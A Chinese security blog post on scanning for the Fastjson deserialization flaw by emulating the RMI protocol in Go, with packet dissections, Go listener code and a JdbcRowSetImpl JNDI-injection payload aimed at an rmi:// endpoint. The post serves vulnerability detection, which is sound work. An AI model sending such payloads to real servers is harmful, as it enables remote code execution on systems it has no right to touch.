<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Golang實現RMI協議自動化檢測Fastjson

    VSole2021-08-09 16:22:13

    筆者繼續帶大家炒Fastjson的冷飯。關于漏洞分析和利用鏈分析文章網上已有大量,但是關于如何自動化檢測的文章還是比較少見的,尤其是如何不使用Java對Fastjson做檢測。是否可以不用Dnslog平臺,也不用自行搭建JDNI/LDAP服務,就可以進行無害化的掃描呢?

    其實tomcat-dbcp的BasciDataSource鏈可以做到不借助JNDI/LDAP觸發反序列化漏洞,但問題還是在于需要自行搭建Dnslog平臺。不借助這條鏈,還有辦法嗎?

    首先我們來看看市面上已有的Fastjson檢測工具:

    BurpFastJsonScan

    其中第1-4條Payload過長沒有截圖,正是rmi和ldap的JdbcRowSetImpl鏈,分成多種是為了繞各個小版本,并且做了編碼。所有的Payload都采用了Dnslog的方式,值得一看的是后幾條Payload直接用了java.net包,感覺這種不太算漏洞利用,只是簡單的反序列化做驗證

    而以上所有的Payload都需要Dnslog平臺,并且需要自行搭建JNDI/LDAP服務,才可以進行盲打

    public DnsLogCn(IBurpExtenderCallbacks callbacks) {    this.callbacks = callbacks;    this.dnslogDomainName = "http://www.dnslog.cn";    this.setExtensionName("DnsLogCn");    this.init();}
    

    sleep后二次驗證,是很好的做法,總體來說該檢測工具是不錯的Burpsuite插件

    // 防止因為dnslog卡導致沒有檢測到的問題, 這里進行二次檢測, 保證不會漏報// 睡眠一段時間, 給dnslog一個緩沖時間try {    Thread.sleep(8000);} catch (InterruptedException e) {    throw new RuntimeException(e);}// 開始進行二次驗證String dnsLogBodyContent = this.dnsLog.run().getBodyContent();if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) {    return;}
    

    Fastjson-Scanner

    一個Python寫的Burp插件,Payload只有一種,也是借助dnslog,使用的是Burp的burpsuite collaborato功能自帶Dnslog,是挖洞利器

    Fastjson-Scan

    另一個Java版的Burp插件,使用JdbcRowSetImpl鏈和Burp自帶的Dnslog

    延遲查看Dnslog,防止查不到

    // 向目標發送payloadIHttpRequestResponse resp = this.callbacks.makeHttpRequest(iHttpService, postMessage);// 擔心目標有延遲,所有延時2秒再查看dnslog平臺Thread.sleep(2000);// 返回的是一個數組dnsres = context.fetchCollaboratorInteractionsFor(dnslog);
    

    菜單中啟動掃描任務需要多線程的方式防止阻塞

    fireTableRowsInserted(row, row);// 在事件觸發時是不能發送網絡請求的,否則可能會造成整個burp阻塞崩潰,所以必須要新起一個線程來進行漏洞檢測Thread thread = new Thread(new Runnable() {    @Override    public void run() {        checkVul(responses[0], row);    }});thread.start();
    

    傳統方式總結

    其實還有一些掃描工具,不過沒必要進行閱讀了,他們的原理可以總結為:

    • 直接用java.net包反序列化配合Dnslog方式,需自行配置平臺
    • 用JdbcRowSetImpl鏈配合Dnslog方式,需要家住LDAP/JNDI Server
    • 如果用了TemplatesImpl和BasicDataSource,沒有回顯,還是需要借助Dnslog

    巧妙的方式

    該方式參考了長亭xray核心作者koalr師傅的文章,將在末尾給出鏈接。筆者在長亭科技實習期間,就是由koalr師傅指導學習和工作,受益匪淺

    回到主題,后文將以JdbcRowSetImpl鏈結合JNDI注入的方式演示,JNDI注入方式不支持高版本JDK可以采用LDAP,原理類似

    給出以下的真實情景:

    • 情景一

    某挖洞小隊想寫一個掃描器,專門用來做Fastjson的掃描,最終打包一個可執行文件方便白帽子們挖洞,執行./super-scanner -u https://xxx,需要用戶自行配制好Dnslog平臺,甚至需要自行搭建JNDI Server和對應的HTTP Server。

    • 情景二

    白帽子們抱怨好麻煩,希望能做一款工具無需自行搭建各種平臺和服務,就可以實現Fastjson的掃描。于是開發者將Java環境嵌入到Golang/C++編寫的程序中,比如用java -jar xxx.jar啟動服務,再自行編寫類似Dnslog的服務,集成到工具中,只要在服務器啟動該掃描器,理論上確實可以做到不配置任何平臺只用一個可執行文件做到檢測。

    • 情景三

    開發者發現這種方式存在性能問題,首先需要嵌入Java,不得不在電腦上配置Java環境,而且JNDI/LDAP/Dnslog服務本身也是消耗性能并且占用端口的。做批量掃描需要開大量端口并維護一個大map:[target->port]用于區分每一個目標。另外后續該掃描器需要加入其他插件,將會變得較臃腫

    是否可以用Golang模擬RMI協議,用于檢測目標是否存在Fastjson漏洞

    給出RMI官方文檔:文檔1,文檔2

    報文分析

    • client->server

    參考協議文檔:0x4a 0x52 0x4d 0x49 Version Protocol

    其中Vesion表示版本,應該是0x00或0x01,

    Protocol表示三種具體協議,比如當前0x4b表示StreamProtocol

    原始報文:4a 52 4d 49 00 02 4b
    
    • server->client

    參考文檔0x4e表示ProtocolAck,是正常情況下的ACK確認

    0x0009表示報文長度為9,其實是IP地址長度的表示

    31 32 37 2e 30 2e 30 2e 31->127.0.0.1

    最后的0xc4和0x12表示50194端口號

    原始報文:4e 00 09 31 32 37 2e 30 2e 30 2e 31 00 00 c4 12
    
    • client->server

    0x000d表示長度13,而這13位正是一個內網的IP:192.168.222.1

    這個內網IP涉及到單波的概念,參考鏈接:JDK源碼

    原始報文:00 0d 31 39 32 2e 31 36 38 2e 32 32 32 2e 31 00 00 00 00
    
    • client->server

    0x50是一個flag,代表call操作,0xaced是常見的java magic number。后面這一部分是Java的序列化數據,沒有分析的必要(不過注意到末尾的Exploit是JNDI Server綁定的Path)

    原始報文:0000   50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00   P....w".........0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................0020   02 44 15 4d c9 d4 e6 3b df 74 00 07 45 78 70 6c   .D.M...;.t..Expl0030   6f 69 74                                          oit
    
    • server->client

    server數據沒有發送結束,0x51是一個flag,代表ReturnData真正的返回數據

    后續aced開頭的都是java序列化數據

    原始報文:0000   51 ac ed 00 05 77 0f 01 c6 ee 4f 24 00 00 01 7b   Q....w....O$...{0010   11 5d c6 ff 80 08 73 72 00 2f 63 6f 6d 2e 73 75   .]....sr./com.su0020   6e 2e 6a 6e 64 69 2e 72 6d 69 2e 72 65 67 69 73   n.jndi.rmi.regis0030   74 72 79 2e 52 65 66 65 72 65 6e 63 65 57 72 61   try.ReferenceWra0040   70 70 65 72 5f 53 74 75 62 00 00 00 00 00 00 00   pper_Stub.......0050   02 02 00 00 70 78 72 00 1a 6a 61 76 61 2e 72 6d   ....pxr..java.rm0060   69 2e 73 65 72 76 65 72 2e 52 65 6d 6f 74 65 53   i.server.RemoteS0070   74 75 62 e9 fe dc c9 8b e1 65 1a 02 00 00 70 78   tub......e....px0080   72 00 1c 6a 61 76 61 2e 72 6d 69 2e 73 65 72 76   r..java.rmi.serv0090   65 72 2e 52 65 6d 6f 74 65 4f 62 6a 65 63 74 d3   er.RemoteObject.00a0   61 b4 91 0c 61 33 1e 03 00 00 70 78 70 77 36 00   a...a3....pxpw6.00b0   0a 55 6e 69 63 61 73 74 52 65 66 00 0d 31 39 32   .UnicastRef..19200c0   2e 31 36 38 2e 32 32 32 2e 31 00 00 f3 bd 23 92   .168.222.1....#.00d0   b3 d9 f7 a3 45 9c c6 ee 4f 24 00 00 01 7b 11 5d   ....E...O$...{.]00e0   c6 ff 80 01 01 78                                 .....x
    
    • client->server

    數據接收沒有問題,給服務端一個Ping(0x52)

    原始報文:52
    
    • server->client

    對于客戶端Ping的響應(0x53)

    原始報文:53
    
    • client->server

    查看文檔這里是分布式垃圾回收相關(flag:0x54)的內容,筆者測試多次,返回都是相同的數據,也許是一個確定的值?這點還有待分析,不過第一個value是可以確定的

    0000   54 c6 ee 4f 24 00 00 01 7b 11 5d c6 ff 80 08      T..O$...{.]....
    

    Golang實現

    本文的重中之重就在這里,我將給出完整的Golang解析案例

    簡單的TCP監聽:

    func startListen(host string, port int) {    address := fmt.Sprintf("%s:%d", host, port)    localAddress, _ := net.ResolveTCPAddr("tcp4", address)    l, err := net.ListenTCP("tcp", localAddress)    if err != nil {        panic(err)    }    doListen(l)}
    func doListen(l net.Listener) {    conn, err := l.Accept()    if err != nil {        panic(err)    }    data := make([]byte, 1024)    _, err = conn.Read(data)    if err != nil {        panic(err)    }    handleFirst(data, &conn)}
    

    解析第一個請求

    func handleFirst(data []byte, conn *net.Conn) {    fmt.Println("client->server")    // 檢測第一個請求是否合法    if !firstCheck(data) {        return    }    // 發送IP信息的響應    ret := getFirstResp(conn)    _, err := (*conn).Write(ret)    fmt.Println("server->client:address info")    if err != nil {        panic(err)    }    data = make([]byte, 1024)    // 讀取第二個請求    _, _ = (*conn).Read(data)    fmt.Println("client->server:unicast info")    // 解析第二個請求    handleSecond(data, conn)}
    

    firstCheck內容,根據協議判斷每一位是否合法

    func firstCheck(data []byte) bool {    // check head    if data[0] == 0x4a &&        data[1] == 0x52 &&        data[2] == 0x4d &&        data[3] == 0x49 {        // check version        if data[4] != 0x00 &&            data[4] != 0x01 {            return false        }        // check protocol        if data[6] != 0x4b &&            data[6] != 0x4c &&            data[6] != 0x4d {            return false        }        // check other data        lastData := data[7:]        for _, v := range lastData {            if v != 0x00 {                return false            }        }        return true    }    return false}
    

    getFirstResp,構造第一個響應包

    func getFirstResp(conn *net.Conn) []byte {    var ret []byte    address := (*conn).RemoteAddr().String()    ip := strings.Split(address, ":")[0]    port := strings.Split(address, ":")[1]    length := len(ip)    // flag位    ret = append(ret, 0x4e)    // length位    ret = append(ret, 0x00)    ret = append(ret, uint8(length))    // 寫入ip    for _, v := range ip {        ret = append(ret, uint8(v))    }    // 空余    ret = append(ret, 0x00)    ret = append(ret, 0x00)    intPort, _ := strconv.Atoi(port)    temp := uint16(intPort)    var b [2]byte    // 寫入端口    b[1] = uint8(temp)    b[0] = uint8(temp >> 8)    ret = append(ret, b[0])    ret = append(ret, b[1])    return ret}
    

    第二個包處理,由于單播地址不確定,所以給出ipv4的正則

    func handleSecond(data []byte, conn *net.Conn) {    if data[0] != 0x00 {        return    }    length := data[1]    var ip string    for i := 2; i < int(length)+2; i++ {        ip += fmt.Sprintf("%c", data[i])    }    // 判斷給出的內網IP是否合法    ipReg := `^((0|[1-9]\d?|1\d\d|2[0-4]\d|25[0-5])\.){3}(0|[1-9]\d?|1\d\d|2[0-4]\d|25[0-5])$`    match, _ := regexp.MatchString(ipReg, ip)    if match {        lastData := data[int(length)+2:]        for _, v := range lastData {            if v != 0x00 {                return            }        }        doThird(conn)    }}
    

    返回payload,實際上可以簡化

    func doThird(conn *net.Conn) {    fmt.Println("client->server:exploit")    data := make([]byte, 1024)    _, _ = (*conn).Read(data)    payload := []byte{        0x51, 0xac, 0xed, 0x00, 0x05, 0x77, 0x0f, 0x01, 0xc6, 0xee, 0x4f, 0x24, 0x00, 0x00, 0x01, 0x7b, 0x11, 0x5d, 0xc6,        0xff, 0x80, 0x08, 0x73, 0x72, 0x00, 0x2f, 0x63, 0x6f, 0x6d, 0x2e, 0x73, 0x75, 0x6e, 0x2e, 0x6a, 0x6e, 0x64, 0x69,        0x2e, 0x72, 0x6d, 0x69, 0x2e, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72,        0x65, 0x6e, 0x63, 0x65, 0x57, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x5f, 0x53, 0x74, 0x75, 0x62, 0x00, 0x00, 0x00,        0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x00, 0x00, 0x70, 0x78, 0x72, 0x00, 0x1a, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x72,        0x6d, 0x69, 0x2e, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x53, 0x74, 0x75,        0x62, 0xe9, 0xfe, 0xdc, 0xc9, 0x8b, 0xe1, 0x65, 0x1a, 0x02, 0x00, 0x00, 0x70, 0x78, 0x72, 0x00, 0x1c, 0x6a, 0x61,        0x76, 0x61, 0x2e, 0x72, 0x6d, 0x69, 0x2e, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x74,        0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0xd3, 0x61, 0xb4, 0x91, 0x0c, 0x61, 0x33, 0x1e, 0x03, 0x00, 0x00, 0x70,        0x78, 0x70, 0x77, 0x36, 0x00, 0x0a, 0x55, 0x6e, 0x69, 0x63, 0x61, 0x73, 0x74, 0x52, 0x65, 0x66, 0x00, 0x0d, 0x31,        0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x32, 0x32, 0x32, 0x2e, 0x31, 0x00, 0x00, 0xf3, 0xbd, 0x23, 0x92, 0xb3,        0xd9, 0xf7, 0xa3, 0x45, 0x9c, 0xc6, 0xee, 0x4f, 0x24, 0x00, 0x00, 0x01, 0x7b, 0x11, 0x5d, 0xc6, 0xff, 0x80, 0x01,        0x01, 0x78,    }    _, _ = (*conn).Write(payload)    data = make([]byte, 1024)    _, _ = (*conn).Read(data)    if data[0] == 0x52 {        lastData := data[1:]        for _, v := range lastData {            if v != 0x00 {                return            }        }        doFinal(conn)    }}
    

    最后兩步的Ping和Ack,DgcAck無法確認后續內容,只對第一位進行校驗

    func doFinal(conn *net.Conn) {    _, _ = (*conn).Write([]byte{0x53})    data := make([]byte, 1024)    _, _ = (*conn).Read(data)    if data[0] == 0x54 {        fmt.Println("final")    }}
    

    最終觸發Payload

    public static void main(String[] argv) throws Exception {    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");    String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +        "\"dataSourceName\":\"rmi://127.0.0.1:8888/Exploit\", " +        "\"autoCommit\":true}";    JSON.parse(payload);}
    

    效果如圖,成功用golang實現RMI協議的解析,代碼有很多不完善,但是提供了一種思路,也許各大廠商可以將該思路加入自己的fastjson掃描組件中

    參考鏈接

    https://koalr.me/post/fastjson-deserialization-detection/

    https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html#overview

    fastjsonrmi
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    筆者繼續帶大家炒Fastjson的冷飯。關于漏洞分析和利用鏈分析文章網上已有大量,但是關于如何自動化檢測的文章還是比較少見的,尤其是如何不使用Java對Fastjson做檢測。
    Fastjson 漏洞利用技巧
    2022-05-08 15:26:11
    Fastjson自動化檢測及簡化攻擊步驟,讓你更有效率的Tips。
    1. 根據現有payload,檢測目標是否存在fastjson或jackson漏洞(工具僅用于檢測漏洞)2. 若存在漏洞,可根據對應payload進行后滲透利用3. 若出現新的漏洞時,可將最新的payload新增至txt中(需修改格式)4. 工具無法完全替代手工檢測,僅作為輔助工具使用
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    本篇文章是Fastjson框架漏洞復現,記錄了近幾年來爆出的Fastjson框架漏洞,主要分為四個部分:Fastjson簡介、Fastjson環境搭建、Fastjson漏洞復現、Fastjson工具介紹。 本篇文章由淺入深地介紹了Fastjson的一系列反序列化漏洞,基于RMI或LDAP方式反序列化漏洞利用對Fastjson進行RCE。在學習Fastjson過程中閱讀了幾十篇中英文Fastjson
    深入理解 RMI 之漏洞原理篇環境是 jdk8u65本文側重于理解原理,攻擊篇會放到后續一篇中講。0x01 前言RMI 作為后續漏洞中最為基本的利用手段之一,學習的必要性非常之大。RMI 依賴的通信協議為 JRMP,該協議為 Java 定制,要求服務端與客戶端都為 Java 編寫。這個協議就像 HTTP 協議一樣,規定了客戶端和服務端通信要滿足的規范。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类